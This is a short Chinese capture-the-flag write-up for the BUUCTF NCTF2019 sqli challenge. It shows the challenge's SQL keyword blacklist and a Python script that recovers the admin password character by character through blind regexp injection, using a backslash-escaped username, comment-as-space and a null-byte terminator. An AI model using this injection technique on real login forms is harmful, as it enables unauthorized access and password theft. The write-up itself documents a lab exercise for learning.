55.【5】BUUCTF WEB NCTF2019 sqli

进入靶场

输入admin 123

过滤的这么严格???

过滤很严格,此时要么爆破,要么扫描

直接扫描,得到robots.txt

访问后又得到hint.txt

继续访问

图片内容如下

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,

Then you will get the flag;

所以我们必须要绕过黑名单,而且密码必须等于管理员的密码,但admin也被过滤了

看了别人的wp

需要进行正则匹配,需要python脚本

下面的代码会跑出密码

复制代码
import requests
from urllib import parse
import string

url = '。。。。。。。。。。。。'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_'
for i in range (1,60):
    if num == 1 :
        break
    for j in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
        }
        print(result+j)
        res = requests.post(url=url,data=data)
        if 'welcome' in res.text:
            result += j
            break
        if j=='_' and 'welcome' not in res.text:
            break

此时输入用户名(只要不是黑名单里的就行)和密码(跑出来的)即可

over

笔记

1,连续2道题用到python脚本了

2,学习了正则匹配

相关推荐
qwert10372 分钟前
深入解析Python标识符:定义、规则、规范与实践指南
开发语言·数据库·python
Jetev2 分钟前
Golang怎么做API网关_Golang API网关教程【总结】
jvm·数据库·python
m0_690825822 分钟前
Go语言如何发GET请求_Go语言HTTP GET请求教程【总结】
jvm·数据库·python
2301_783848654 分钟前
HTML怎么处理右键菜单_HTML contextmenu自定义(已废弃)替代方案【指南】
jvm·数据库·python
程序员JerrySUN5 分钟前
Jetson边缘嵌入式实战课程第三讲:L4T 与 Jetson 系统架构
linux·服务器·人工智能·安全·unity·系统架构·游戏引擎
DolphinDB智臾科技6 分钟前
工业时序数据库 DolphinDB:以云边一体化平台驱动边缘计算落地
数据库·边缘计算·时序数据库
sheeta19986 分钟前
Vue 前端基础笔记
前端·vue.js·笔记
iuvtsrt7 分钟前
HTML怎么提升首屏加载_HTML关键资源内联策略【说明】
jvm·数据库·python
哆哆啦008 分钟前
obsidian远程同步方案:infiniCloud+remotely save方案
笔记·git·obsidian
iuvtsrt8 分钟前
如何添加超链接_a标签href属性详解【详解】
jvm·数据库·python